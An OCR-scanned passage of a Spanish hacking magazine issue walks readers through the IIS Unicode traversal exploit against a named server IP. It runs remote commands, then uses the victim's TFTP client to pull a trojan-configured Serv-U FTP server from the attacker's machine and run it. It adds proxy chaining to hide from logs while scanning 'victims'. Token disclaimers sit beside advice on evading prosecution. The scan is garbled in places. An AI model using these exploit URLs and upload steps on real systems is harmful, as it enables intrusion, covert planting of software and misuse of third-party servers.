- Nada mas lejos de mi intencién “tocar” la sensibilidad de nadie, pero es triste ver
que la mayoria las personas que han nacido con Windows en sus ordenadores no saben
utilizar los comandos de sistema, eso es el equivalente a no saber leer hoy en dia, y
desgraciadamente, los que no saben leer son mayoria entre la nueva generacion de
“informatico-maniacos”.

No se puede generalizar, faltaria mas, pero... mira, hace poco pude comprobar que
incluso algunas personas que alardean de tener un Linux en casa no saben lo que es
utilizar una consola (y no me refiero a la XBox ).

Bueno, pues es hora de hacer una pequenisima presentacion de algin que otro comando
para la consola . Asi que abrimos una Ventana de Comandos en nuestro equipo y
empezamos a practicar:

- DIR c: --> Esto os mostrara la lista de archivos y directorios no ocultos y no de
sistema de vuestro disco c.

* Traduccion a UNICODE

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d
ir+c:\

Comentario: Después de introducir en el Internet Explorer la ruta al servidor victima, fijaros
que tenemos disponible el espacio libre en disco expresado en bytes. Recordad que 1 MB equivale a
1024 bytes, por lo tanto y tomando como ejemplo el caso anterior en el que tenemos 2.747.858.432
bytes libres:

2.747.858 432 X -meemeieeo o x = 261290 MB
1024 Bytes 1024 KB

Es decir, que tenemos unos dos gigas y medio libre en el disco C:, no estd mal
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Y SORPRESA!!! En el disco/particion D: tenemos 4 GB mas. Compruébalo!!!

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d
ir+d:\

Como podemos ver, para hacer un DIR en otra unidad solo tenemos que cambiar la
letra final, asi que no te cortes y “chafardea” un poco:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d
r+c:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d
ir+d:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d
r+e:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d
ir+f:\

Intentémoslo con la unidad f:
Si os sale una pantallita como esta, es que no existe. El mensaje es:

Erreur CGI

L'application CGI spécifiée a mal fonctionné en ne renvoyant pas de jeu complet d'en-
tétes HTTP. Les en-tétes renvoyés sont :
Acces refusé.
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Erreur CGI

L'application CGI spécifice a mal fonctionné en ne renvovant pas de jen
complet d'en-tétes HTTP. Les en-tétes renvoveés sont :

Leeces refuse.

he
;Ej | | | |ﬁ Internet v

Pero mirad que curioso, si lo intentamos con la unidad e:, el mensaje es

Erreur CGI

L'application CGI spécifiée a mal fonctionné en ne renvoyant pas de jeu complet d'en-
tétes HTTP. Les en-tétes renvoyes sont :
Le périphérique n'est pas prét.

Esto nos viene a decir que el dispositivo NO ESTA PREPARADO, por lo tanto podemos
deducir que la unidad e: es un CD-ROM o parecido (cinta de back—up, streamer, DVD,
etc) pero que no hay ningun CD/cinta/cartucho dentro.
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COMENTARIO: ;Quién os dijo que un servidor solo tiene una unidad/particion en su sistema?
Una vez tenemos una posible victima debemos ver si nos interesa “asaltarla’ o no. Eso dependera de
nuestras intenciones y de sus ‘‘capacidades’’. Si vamos a utilizarla de Proxy anonimo (va os ensenaré
como) no es necesario que tenga mucho espacio libre en disco, pero si vamos a utilizarla de almacén
temporal pues nos conviene ver su disco duro “disponible . Asi que hazle un DIR a todas sus unidades
para ver qué tenemos entre manos ;)

Me he llegado a encontrar discos/particiones en la letra m y hasta en la z (una vez me encontré una
unidad en la x que contenia mas de 60GB de videos erdticos).

- MD c:\hackxcrack --> Crea un directorio (carpeta para los ventana-adictos) en
la unidad c: llamado hackxcrack.

* Traduccion a UNICODE

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+
md+c:\hackxcrack

- echo hola>c:\hackxcrack\prueba.txt --> Esto creara en la carpeta c:\hackxcrack\

(que debe existir, ya la hemos creado antes) un fichero de texto (prueba.txt) que

Elontendra en su interior la palabra hola. Igualito que si hubiésemos utilizado en Block
e Notas

* Traduccion a UNICODE:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+e
cho+hola+ >c:\hackxcrack\prueba.txt

- del c:\hackxcrack\prueba.txt --> Borrara el archivo prueba.txt.
* Traduccién a UNICODE:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+d
el+c:\hackxcrack\prueba.txt

- rd c:\hackxcrack --> Borrara la carpeta hackxcrack. Asegurate de que no exista
nada dentro de una carpeta antes de intentar borrarla o no podras.

* Traduccion a UNICODE:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+r
d+c:\hackxcrack

- type c:\hackxcrack\prueba.txt --> Para ver el fichero de texto prueba.txt.
* Traduccion a UNICODE:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+t
ype+c: \hackxcrack\prueba.txt
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Hasta ahora sélo has aprendido a “ver” los servidores remotos
y ejecutar algun que otro comando de forma remota. Ha
llegado el momento de subir tus propios archives y
ejecutarlos!!!:)

MUCHO CUIDADO!!! ESTO ES UN EJEMPLO REAL!!!

NO REPRODUZCAS ESTA PRACTICA, UTILIZA NUESTRO SERVIDOR, QUE PARA
ALGO LO HEMOS PREPARADO Y ESTA A VUESTRA DISPOSICION :)

1.- ¢Qué haremos ahora?

- Subiremos el Serv-U al Servidor Remoto y lo ejecutaremos. De esta forma obtendremos
un Servidor FTP :)

Recuerda que tienes en nuestra Web el Nimero 1 de Hack x Crack TOTALMENTE
GRATIS. Lo necesitaras para comprender todo lo relacionado con el Serv-U. Esta en
formato PDF, asi que NO TIENES EXCUSA!!!

2.- Preparando la Escena

Existen muchos métodos para subir archivos, cada uno tiene sus pros y sus contras,
unos requieren de conocimientos muy avanzados y otros inspeccionar a fondo la
“victima”. Asi que hemos elegido un clasico: EL TFTP

Se nos acaba la revista, asi que nos “saltamos” los tecnicismos y pasamos directamente
al grano. Todos los Windows tienen un Cliente TFTP, asi que utilizaremos el Cliente
TFTP de la Victima para que solicite un archivo de nuestro PC.
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COMENTARIO: TFTP no tiene nada que ver con FTP, son dos protocolos distintos y
cada uno necesita su propio Software.

* Recordad que cdmo Cliente FTP teniamos, por ejemplo, el software Flash FXP. Pues
como Cliente TFTP tendremos el TFTP.EXE del propio Windows.

* Recordad que como Servidor FTP teniamos, por ejemplo, el Serv-U. Pues cémo
Servidor TFTP tendremos el TFTPD32 (puedes descargarlo de nuestra Web)

Asi pues, instalaremos en nuestro equipo el Servidor TFTP (TFTPD32) y le
diremos a la Victima mediante CODE/DECODE BUG que le pida archivos mediante
su Cliente TFTP (TFTP.EXE) a nuestro Servidor TFTP. Esos archivos seran el
Serv-U 2.5e y su configuracion (leer Hack x Crack 1), que después ejecutaremos.

3.- Instalando el Servidor TFTP

1.- Descarga el Servidor TFTP (TFTPD32) de nuestra Web, descomprimelo en
la carpeta c:\tftp32 de tu ordenador, entra en esa carpeta y ejecuta el archivo
tftpd32.exe

*> TFTPD32 by Ph. Jou ~10] x|
Ease Directory  |C:ATFTP32 Browze
Server interfaces | 8036 230 235 - Show Dir

Current Action IListening oh port B3

: ............. '|'l',' .E":lut ............. :I Eett"‘lgs Help

marmssma s sna T erannsntanssnnnsnnsnnnn
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En Server Interfaces saldra tu IP en lugar de la que figura en la imagen:
80.36.230.235

En Base Directory debe salir la carpeta donde has descomprimido el TFTPD32.
Si has seguido nuestro consejo sera c:\tftp32

2.- Crea una carpeta en el Disco C: de tu ordenador llamada, por ejemplo,
alma. En esta carpeta pondremos los archivos que queremos updatar (subirle)
a la Victima, es decir, los archivos que el Cliente TFTP de la Victima pedira a

nuestro PC.

3.- Pulsa el Boton Settings del TFTP32 y aparecera esta ventana:

“r Ttpd32: Settings x|
— Security Server configuration
= More Tireout [zeconds] E
" Standard k1 ax Fetransmit I'I
= High Titp pork ||5;5|

— Basze Directory

I. Browvze I

— Advanced Options
Iv Option negotiation I Hide “windows at =tarkup
I+ Show Progress bar I Create "dir.t=t" files
I Translate Unix file names I Beep for long tranfert
I Activate Tipd32 on this interface |50 36 230 255 B3
T Use anticipation windows of ID— Eytes

Default I Help I Cancel I

Y configuramos:
- Security --> None
- Timeout --> 9
- Max Retransmit --> 3
- TFTP Port --> 69
- Base Directory --> c:\alma
El resto lo dejamos sin tocar y pulsamos OK.
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4.- Preparando los archivos a subir

Podriamos subir cualquier cosa, desde un virus hasta un Script, pero cdmo
queremos montar un Servidor FTP en la Victima, pues subiremos nuestro
Serv-U y la configuracion especial que estudiamos en el numero 1.

Pues venga, nos descargamos de la Web el Serv-U (si aun no lo has hecho,
muy mal, porque eso significa que no has practicado las técnicas de Ocultacién
de Hack x Crack 1) y lo configuramos como un troyano tal cdmo os ensefiamos.

Comentario. Para que trabajes mucho, tienes tanto el Serv-U2. 5e (servu25e.exe) como su configuracion
(servconf.txt) en la Web.

Copiamos los dos archivos en el directorio c:\alma nos preparamos mentalmente
para lo que sigue ;)

Comentario. Recuerda que debes registrar el Serv-U para que funcione en el remoto de forma
correcta. Antes de subirlo ejeciitalo de forma oculta por linea de comando en tu equipo y asegurate

de que no sale ningiin mensaje ;jvale?
Todo esto lo tienes perfectamente explicado en Hack x Crack 1.

5.- Llegé el momento!!! Subiendo archivos a la Victima ;p

Ya estd todo preparado? AsegUrate y haz una Ultima comprobacién:
- Servidor TFTP (TFTP32) funcionando y configurado.

- Carpeta alma creada.

- Archivos servu25e.exe y servconf.txt en el directorio alma.

Pues ya sblo nos queda seleccionar la carpeta de la victima donde subirle los archivos.
Nosotros, por ahora, lo haremos en el c:\winnt\system32

1.- Examinamos la existencia de c:\winnt\system32 en la victima haciendo un dir en
sus diferentes unidades de disco, normalmente la encontraremos en c:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
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2.- Hacemos un dir a la carpeta c:\winnt\system32 para comprobar que tenemos
acceso:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\winnt\syst
em32

3.- Ejecutamos la orden para subir nuestro servu25e.exe al directorio remoto
c:\winnt\system de la Victima 195.101.57.8

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\winnt\system3
2\tftp.exe%20-i%20AQUI-DEBES-PONER-TU-
IP%20get%20%20servu25e.exe%20c:\winnt\system32\servu25e.exe

Si TU IP fuese, por ejemplo, 64.223.124.5, la instruccidn seria:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c: \winnt\system3

2\tftp.exe%20-
i%2064.223.124.5%20get%20%20servu25e.exe%?20c: \winnt\system32\servu25e.exe

Comentario: El comando, si estuviésemos frente al teclado del la Victima, seria este:
tftp.exe —i 64.223.124.5 get servulie.exe c:\winnt\system32\servull.exe

No hay espacio para mas explicaciones sobre el funcionamiento del Cliente TETP. en el proximo niimero
trataremos las diversas opciones de este programa, haremos referencia al REC del protocolo TFTP y
al funcionamiento del UDP... ;RFEC? ;Protocolo TETP? ;UDP? ;Oue? ;Como?

Vale, como si no hubiese dicho nada, ya lo verds el mes que viene :)

Lo que hemos hecho es ejecutar una orden en el ordenador-victima. En concreto hemos
ejecutado el comando tftp.exe (el cliente de tftp de la victima) con los parametros
necesarios para que proceda a conectarse a nuestro Servidor TFTP, coja nuestro
servu25e.exe y lo coloque en su directorio c:\winnt\system32\

Después de unos segundos, tendriamos que ver en nuestro monitor como el archivo
sube al servidor-victima. No ponemos la imagen del archivo subiendo porque nuestros
abogados nos han recomendado no hacerlo, puesto que eso seria una prueba de que
hemos entrado y MODIFICADO los datos de un servidor sin los permisos convenientes.

Piensa que hasta ahora, sélo habiamos examinado y ejecutado comandos en el equipo
remoto, no existe ninguna sentencia judicial por esta practica, pero CUIDADO!!!, porque
si ejecutas un comando destructivo o subes programas al servidor remoto ESTARAS
COMETIENDO UN DELITO!!!
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La verdad, no creo que nadie te persiga si no te pasas, utilizas un servidor fuera de
tu Pais y ademas tienes cuidado que no sea de una gran multinacional. Pero poner
nosotros aqui esa imagen implicaria haber cometido un acto delictivo, asi que como
nosotros no cometemos ese tipo de actos, pues no podemos ponerlo.

4.- Ahora subiremos el archivo de configuracion de nuestro Serv-U

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\winnt\system3
2\tftp.exe%20-i%20AQUI-DEBES-PONER-TU-IP
%20get%20%20servconf.txt%20c: \winnt\system32\servconf.txt

Si TU IP fuese, por ejemplo, 64.223.124.5, la instruccion seria:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\winnt\system3

2\tftp.exe%20-
i%2064.223.124.5%20get%20%20servconf.txt%20c: \winnt\system32\servconf.txt

6.- Ejecucion del Serv-U

Finalmente, ejecutaremos nuestro Serv-U.

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\
winnt\system32\servu25e.exe+c:\winnt\system32\servconf.txt

La orden si estuviésemos sentados frente al teclado del remoto seria
--> servu25e.exe servconf.txt

Ahora, si hiciste tus deberes, me dirds que esa no es la forma correcta de ejecutar en
modo oculto el Serv-U, que la forma correcta y avanzada seria utilizando la siguiente
instruccion:

--> start servu25e.exe servconf.txt —h

PARA EL CARRO!!! No utilices el start, que te queda mucho por aprender. Y no es
necesario utilizar la opcion de ocultamiento —h, no saldra nada en la pantalla del
ordenador remoto, no te preocupes. En el préximo nimero te ensefiaremos mas sobre
esto, por ahora ya es suficiente :)
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7.- Comentarios MUY IMPORTANTES:

- No me cansaré de repetirlo: NO INTENTES HACER ESTO EN EL SERVIDOR DE
EJEMPLO. Hemos habilitado un servidor en nuestra redaccién para que practiques todo
lo que quieras, lee la primera pagina de esta revista para los detalles. Hemos hecho
un esfuerzo importante en adquirir lo necesario para que tengas a tu disposicion ese
servidor, UTILIZALO!!

- Aun te queda mucho por aprender, no intentes ejecutar comandos en los servidores
que escanees por tu cuenta. EL MOTIVO es MUY SENCILLO, no tienes los conocimientos
necesarios para ocultarte, por eso te hemos preparado un servidor, para que practiques
sin temores.

Piensa que La Victima esta recogiendo el Serv-U de tu maquina, y eso deja un rastro.
Te hemos ensefiado a ocultar tu IP cuando utilizas el SSS y cuando utilizas el Internet
Explorer, PERO NO CUANDO UTILIZAS EL TFTP. En el proximo nimero te ensefiaremos
a hacer eso de una forma sencilla...

- No tienes ni idea de borrar logs en el remoto, que ademas pueden estar protegidos
y denegarte el acceso... Vamos a ver, si dejas una huella, y en este caso la dejas al
utilizar el TFTPD, tendras que borrar esa huella, y AUN NO TE LO HEMOS ENSENADO!!!

- NO TE LANCES SIN SABER LO QUE HACES, ESTA PUBLICACION NO TE PONE EN
PELIGRO EN NINGUN MOMENTO SIEMPRE QUE SIGAS NUESTROS CONSEJOS... NO
QUIERAS CORRER Y HAZ LAS PRACTICAS EN NUESTRO SERVIDOR. NO QUEREMOS
IR A VISITARTE A LA CARCEL CON CIGARRILLOS Y UN EJEMPLAR DE HACK X CRACK
;P

- En resumen: TIENES NUESTRO SERVIDOR PARA HACER LAS PRUEBAS!!!

8.- Otros Comentarios:

- Cuando subas un archivo, una ventanita se abrira indicando el proceso PERO en el
Internet Explorer saldrd un mensaje de error... es lo normal. Después, cuando la
ventanita desaparezca, haz un dir al directorio para confirmar que ha subido correctamente.

- Una vez ejecutado el Serv-U, conéctate y disfruta (mas info en HACK X CRACK 1).

- En los Foros Warez, montar un Servidor FTP en una maquina Hackeada es muy
"apreciado" ;p Por cierto, a este Servidor FTP lo llaman DUMP (otros lo llaman sistro,
distro, almanaque, saco... cada uno con su rollo).

- Si lo montas en nuestro Servidor (el que hemos preparado para ti), hazlo en un puerto
aleatorio. Si todos montan su servidor en el puerto propuesto en Hack x Crack 1, no
funcionaran... mas informacién en nuestra WEB (y pasate por el foro).
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Cualquier cosa que hagas en La Red, desde una simple visita
a una Web hasta un escaneo en profundidad, dejara huella.

Tu IP es como tu DNI, sera “loggeada” alli donde pises.

APRENDE A NO DEJAR HUELLAS :)

1.- Introduccion:

Vamos a dar unos “primeros pasos” en esto de la ocultacion de tu IP.
La intencidn en este numero no es profundizar en el tema (ya nos meteremos de lleno

en el nimero 3), sino simplemente permitirte hacer “las practicas” que te proponemos
con cierta seguridad :)

2.- Comprendiendo...

Si no habéis leido el nimero uno de Hack x Crack, es el momento de que te lo
descargues de nuestra Web (www.hackxcrack.com), porque es imprescindible que te
estudies alguno de los temas que tocamos en ella, concretamente el articulo sobre
TCP/IP y una vez leido, ya podemos empezar a hablar del tema.

Una forma de ocultar tu IP cuando visitas una pagina Web es simplemente interponer
una maquina entre TU y la Web Visitada. ¢Como se hace eso? Muy sencillo, haciendo
pasar tu conexién a través de un proxy.

Un proxy es una maquina que tiene activo un servicio (servidor proxy), el cual permite
que otras maquinas se conecten para hacer de intermediario entre Nosotros y el resto
de Internet.

LOS CUADERNOS DE HACKXCRACK -- NUMERO 2




kXXCrack HackXcrack HackXcr tCrack HackXxcraclid

HackxXcraci | ack | =
e e SRS A A Sl L e R S e S e

COMENTARIO: Nuevamente siento risas a mis espaldas. Vamos a ver, no pienso dar en este nimero
una descripcion de lo que es un proxy y mucho menos su funcionamiento, ;vale? Solo quiero que

se entienda, nada mas... el objetivo es poder hacer las prdcticas de este mes.
Debemos ser la unica revista del mercado que saca un numero en Agosto, no pidas demasiado ;p

- A ver, que no lo entiendo, explicame al menos un poco del tema.
- Vale, con este “grafico” te bastara.

1.- El proceso cuando visitas la Web de Microsoft es el siguiente:
TU ORDENADOR ~ ----> Ordenador Visitado
IP: 62.57.25.35 www.microsoft.com
Como a los Servidores Web les gusta saber quien les visita, tienen una serie de
“programas” que “loggean” cualquier movimiento. Ese proceso puede ser desde la
simple anotacién de tu IP y la hora de acceso hasta el color de tu ropa interior :),

segln lo neurdticos que sean los administradores de ese Servidor Web.

En este caso la IP que recibe el ordenador visitado es 62.57.25.35, la nuestra :(

2.- El mismo proceso pero interponiendo a un tercero corriendo un proxy.

TU ORDENADOR  ----> Ordenador Proxy ----> Ordenador Visitado
IP: 62.57.25.35 IP: 212.231.8.64 www.microsoft.com

Como puedes ver, la IP que recibe el Ordenador Visitado es 212.231.8.64, no se parece
en nada a la nuestra :)

3.- NO TE FIES!!! No todo es tan sencillo.

Imagina que el proxy esta configurado de forma que dejase ver nuestra IP... éQué
pasaria? Pues esta claro, que nos la han jugado!!!

Asi pues, existen proxys:
- Andnimos: Que no dejan ver tu IP al Ordenador visitado.
- No Andnimos: Que dejan ver tu IP al Ordenador Visitado
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Ya me estas liando!!!. Entonces ¢Cdmo puedo yo saber eso?
Pues comprobandolo :)

4.- Utilizando un proxy anénimo en el Internet Explorer

4.1.- Buscando un proxy :)

Lo primero de todo visitas, por ejemplo, www.multiproxy.org y a la izquierda pulsas
sobre anonymous proxy list. Te saldrd una lista parecida a esta:

dnai-216-15-34-70.cust.dnai.com:80
barto.blinncol.edu:8080
64.132.101.201:8080
216.125.41.2:80
machinetransport.com:80
12.34.48.126:80
12.34.48.129:8080
206.8.102.102:80
216.102.13.21:80
64.132.101.212:8080
216.101.117.161:8000
63.238.139.7:80
64-93-37-226.client.dsl.net:80
216.167.107.64:8080
cmas-tj.cablemas.com:8080
207.225.81.150:80
12.34.48.129:80
webmail.mail-ahoy.com:8000
64.166.74.5:8080

Existen muchas paginas donde encontrar proxys, pero esta es, posiblemente, la mas
sencilla que conozco y viene que ni pintada por ahora. Ademas, los curiosos veran el
programa presentado por esta Web e intentaran “trastear” con él.

El Multiproxy es, con diferencia, el mas sencillo de los programas que nos permiten
interponer una (o varias) maquinas entre nosotros y “el mundo”. Ya veremos si
explicamos su funcionamiento en el proximo nimero o pasamos directamente a
utilidades mas “serias”, casi seguro que lo segundo.

- Si, si, muy bonito... épero que quieres que haga? éDescargo el programa ese 0 no?
¢Lo necesito para hacer las practicas de hoy? ¢Qué hago?
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- No es necesario, simplemente mirate la lista y selecciona un proxy, que vamos a ver
si funciona.

COMENTARIO: Espero que te leyeses el nimero uno de Hack x Crack, asi comprenderas el que
existan IPs en formato numeérico y IPs en formato “nombre”;p

5.- Anonimizando el Internet Explorer "a mano” :)

Bien, imagina que has seleccionado el primero (dnai-216-15-34-70.cust.dnai.com:80).
Pues abrimos el I.E. y vamos a --> Herramientas --> Opciones de Internet.

‘A Google - Microsoft Internet Explorer _ 0| x|

Archivo Edicion Ver Favoritos | Herramientas Ayuda i'f

) st ~ J - \ﬂ @ -, Correoy noticias ' bs @ Muttimedia €2 »
: > = Sincronizar... ' "
Direccion |&] http://www.google-l  yindows Update ~|&r | Vinculos

FY

Messenger —
FlashGet .
EViig D

VisualRoute Trace

fiol

Imagenes Grupos Directorio

I « Blusqueda Avanzads
» Preferencias

Blsqueda en Google Voy a Tener Suerte » Hemamientas del idioma

% Buscar en la Web © Buscar sdlo paginas en espaiol

Sugerencias de Busqueda - Todo Acerca de Google - Google in English

22002 Google - Buscando 2,072,418,204 paginas web j
7

Permite cambiar la configuracidn.
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En la ventana que nos saldrda seleccionamos la pestana conexiones

Opciones de Internet 7| 2|

General | Seguridad I FPriwvacidad I Contenido I

Conexiones Programas I Opciones avanzadas I
Ay Haga dic en Instalar para configurar una conexidén a | R j
D__ Internet. = = =

— Corfiguracidn de acceso teleféanico v de redes privadas virtuales

TERRA ISP Agregar... |
Quitar I

Elija Configuracian si necesita configurara un Configuracidn ... I
servidor proxy para una conexion .

= Mo marcar nunca una cone<daan
L Marcar cuando no haya ninguna conexidn a la red
L Marcar siempre la conexidn predeteminada

Predeterminadas MHNimgumna Eredeterminada I

— Corfiguracion de la red de area local {LAM)
La configuracién de LAM no se aplica a las conexiones Configuracién de LAM .. I
de acceso telefdnico . Elija Configuracién, mas arriba,
para configurar acceso telefanico.

Aceptar I Cancelar I Aplicar I

y dentro de esta, Configuracion de LAN (abajo), con lo que obtendremos una ventana
donde introducir nuestro proxy

2] x|

—Configuracidn automatica

La configuracion automatica puede superponerse a la manual . Para evitar
que esto ocurra, deshabilite la configuracion automatica.

I usar secuencia de comandes de configuracién automatica

Direccion I

—Servidor proxy

Utilizar un servidor proxy para su LAM. Esta configuraciaon no se
I aplicard a conexiones de acceso telefdnico o de redes privadas
virtuales (WVPM).

Direccicn: I 12.34.98.126 Puerka: | 80 Opciones avanzgadas., .. I

¥ ro usar servidor proxy para direcciones locales

| Aceptar I Cancelar I

Bien, ahora marcamos los dos recuadros de abajo e introducimos el proxy que hemos
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seleccionado. Quedando asi:

Configuracion de la red de a 72

— Configuracion automatica

La configuracion automatica puede superponerse a la manual. Fara evitar
que esto ocurra, deshabilite la configuracian automatica.

[+ Detectar la configuracidn automaticaments

I Usar secuencda de comandos de configuracién automatica

Cireccian I

— Servidor proxy
Utilizar un servidor proxy para su LAM. Esta configuracidn no se

v aplicarad a conexiones de acceso telefdnico o de redes privadas
virtuales (VPM).

Direccian : I dnai-2156-15-34-7 Puerto: IBD Opciones avanzadas. .. I

| Aceptar I Cancelar I

Finalmente pulsamos Aceptar y otra vez Aceptar. Muy bien, pues intenta navegar a ver
si puedes :) éno puedes? Mala suerte, prueba el siguiente de las lista y si al sexto
intento no puedes ves a www.void.ru y arriba a la derecha veras unos cuantos mas,
prueba hasta que consigas navegar.

COMENTARIO: No desesperes, alguno funcionard, piensa que esos proxys no han salido por
arte de magia, son listas que se actualizan cada poco tiempo pero que mucha gente utiliza. Ya te

enseflaremos a conseguir tus propios proxys, tuyos y solamente tuyos ;) (en el proximo niimero)

Espero que después de unos cuantos intentos estes navegando. Ahora es el momento de comprobar si
el proxy que utilizas es anénimo. Ves a www.multiproxy.org y arriba a la izquierda selecciona anonymity
checker. Veras que te salen un montén de cosas, pues buseca tu IP entre los mensajes y si no la encuentras
BINGO!!! Ya estas navegando Andnimamente.
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Nosotros, hemos escogido el proxy 195.199.102.29:80, por eso en la imagen podemos
ver que la IP logeada es la 195.199.102.29

- Pero, oye, yo no se mi IP, asi que no puedo saber si la que pilla es la mia o no.
- Te lo dije, lee el nUmero uno de Hack x Crack. Bueno, vale, lo explico otra vez.

Abre una Ventana de Comandos e introduce ipconfig /all
Tu IP es la que sale a la derecha de Direcciéon IP, mas claro el agua.

2 Anonymity checker - Microsoft Internet Explorer -|=| x|
Archivo Edicidn Ver Favoritos Herramientas Ayuda | :,'
Gmra‘s W d @ ;\] | /'-\‘El]squeda \:nt( Favoritos @ Multimedia {61 | (<~ \,' - _J @ @ E 3

Direccion |© ittp:/fwrww.multiproxy.org/env_check.htm j Ir |VI'nCU|OS »

o thousands of games every day ] B
meiniuk: E CHESS plasers of all skilllevels j

join us at GameKnot.com

MultiProxy
all proxy list [If these lines don't show your IP/hostname, the proxy you're currently 4| -vX
list using is non-transparent and could be used for anonymous surfing:
SNOMYMOUS proxy W HTTP X FORWARDED FOR = 195.199.102.29
anonymity checker HTTP_CLIENT P = yith your col
downloads HTTP_VIA = 1.0 FIAISRVO01, 1.0 proxy.szfv.sulinet 8080
(Squid’Z 4. STABLEZ-kozo0924)
m
:Orl.l HTTP_FROM =
-a.0. CLIENT IP=
help REMOTE_ADDR = 195.199.2.13
REMOTE_HOST = —
Do you play Chess or cther Sy
5 YOUR FAMILY COAT OF ARMS
recommend this great site
where you can play Chess Enter Your Last Name submit
cnline with players from all =
over the world! Join us at
GameKnot.com

These are probably unrelated, but to be on the safe side please —
doublecheck that it doesn't contain your IP/hostname either:

© 2000 mishkin, all rights reserved QUERY STRING =

[adverdise with us] HTTP_ACCEPT LANGUAGE =&
HTTP_REFERER. = http://www multiproxy.org/env_check htm
REMOTE_PORT = 32411

];I';[P_L'SER_AGENT = Mozilla/4 0 (compatible; MSIE 6.0; Windows NT E

HTTP ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pipeg, Options

application’vnd ms-excel, application’vnd ms-powerpoint, application/'msword, [ j
|€Ej Abriendo pagina http://www.multiproxy.org/env_check.htm... | ‘ | ‘Zona desconocida
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= Simbolo del sistema
(C) Copyright 1985-2081 Microsoft Corp.

E:“\Documents and Settings“\PERFOND12>ipconfig /all

Conf iguracion IP de Yindows

Nomhre del host
Sufijo DNS principal
Tipo de nodo

Enrutamiento IP hahilitado
Proxy WINS habilitado

fidaptador Ethernet Conexion de area local 6

Sufijo de conexion especifica DNS :
Descripcidn : Kit ADSL USB
Direccidn fisica : BB-D@-E8-95-18-EB
DHCP hahilitado ! No
Direccion [P : £6.36.238.235
Mascara de subred : 255.255.255.0
Puerta de enlace predeterminada : 88.36.238.2
Servidores DNS : 86.58.8.33
0.58.32.97

E:\Documents and Settin

COMENTARIO: Ahora ya puedes utilizar el Internet Explorer para navegar por los discos duros
de tus Unicode-Victimas )

A tener en cuenta:

- Cuando pones una maquina entre la tuya y el destino, normalmente perderas velocidad.
Piensa que esa maquina tiene un ancho de banda limitado y posiblemente la esté
utilizando mucha gente. Lo mejor es “buscar” tus propios proxys y como ya hemos
dicho, dentro de poco te enseifaremos todo lo necesario.

- Un proxy puede utilizarse para muchas cosas, por ejemplo limitar el acceso a ciertas
paginas Web. Algunos gobiernos totalitarios utilizan proxy-filtros y algunos ISPs también

(

- La maquina que hace de proxy puede guardar logs de quienes lo utilizan. Por lo tanto
sigues siendo “vulnerable”, no hagas barbaridades évale? Ya te ensefiaremos a encadenar
proxys e incluso a encadenar proxys instalados por ti mismo en equipos-victima...
tiempo al tiempo.
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6.- Anonimizando el SSS.

Podemos anonimizar “a mano” cualquier programa que tenga la opcién de utilizar
proxys, y el SSS contempla esa posibilidad (mas adelante os ensefiaremos a anonimizar
CUALQUIER PROGRAMA que utilice el acceso a Internet).

Vamos alla. Iniciamos el SSS ...

--> Tools --> Policies y, en la ventana que aparecera seleccionamos la auditoria que
hemos creado para la ocasién (en este caso CODE-UNICODE) y en el menu de la
izquierda pulsamos sobre HTTP, abriéndose una ventana donde marcaremos Use http
Proxy e introduciremos la IP del proxy. Todo tiene que quedar como en la imagen:

hadow Security Scanner 5.33 Ml
Fle BaseSDK Tods Help

HTTP - CODE-UNICODE M

| Vs HTTR Frowy
Address ‘w95,199,102,29 ‘ Pat ‘BD

| Ml Threads HT TP Scan
@ se anfivediect for not found o

| | Use Intlectid Sean
D se duihentication for HTTP Server

Lser ‘ ‘ Fassword ‘

+ Diefault Loging
7 More

Ok ‘ Cancel fpply
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Ya solo queda pulsar Apply y OK. Listo para escanear sin que tu IP quede
logeada en las posibles victimas ;)

A tener en cuenta:

- Escanear poniendo proxys lentos de por medio suele acabar en desastre, es decir, que no encontrards
“victimas ". Por lo tanto, cuando utilices un proxy para escanear asegurate que es rapidito. La mejor:
manera de comprobar su velocidad es utilizarlo para navegar con el Internet Explorer un rato y ver
que tal responde.

- No recomiendo escanear con proxys a no ser que responda bastante bien a la navegacion. Una maquina
sufre decenas de escaneos al dia y los administradores no estan por la labor de perseguir cada pequerio
intento de intromision (para eso necesitarian 10 ayudantes trabajando turnos de 12 horas), por lo tanto,
a no ser que quieras cometer un delito no recomiendo usarlos. PERO OJO!!! Si vas a cometer un delito
contra una empresa filerte, te pillaran ... si estas levendo Hack x Crack es porque te gusta aprender-lo
que nadlie ensefia, no porque quieres robar un banco jvale? Ten cuidado.

7.- NO SEAS NECIO!!!

* Para los LAMERS:

Eres grande e intocable, con lo que has aprendido ya puedes hacer lo que quieras,
nadie podra pillarte. Adelante!!! Esta revista te ayudara a robar Bancos y hundir
multinacionales, seras el Dios de Internet, intocable y monstruosamente poderoso.

EL MUNDO ES TUYO...
... Y LA CARCEL TE ESPERA :P

* Para TI:

Este texto es una sencillisima iniciacion a la ocultacion de tus “andanzas” por La Red,
solo eso. En el proximo nimero profundizaremos sobre el tema y veras lo ridiculo que
te parecera este texto que quizas hoy ves como interesante.

* Para TODOS:

Siempre hay alguien mejor que tu y te lo sueles encontrar en el peor de los momentos,
hablo por experiencia propia. MUCHO CUIDADO con quien te metes, NO SEAS
NECIO!!!
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Ni mis peores pesadillas podrian crear una "realidad" tan hiriente y
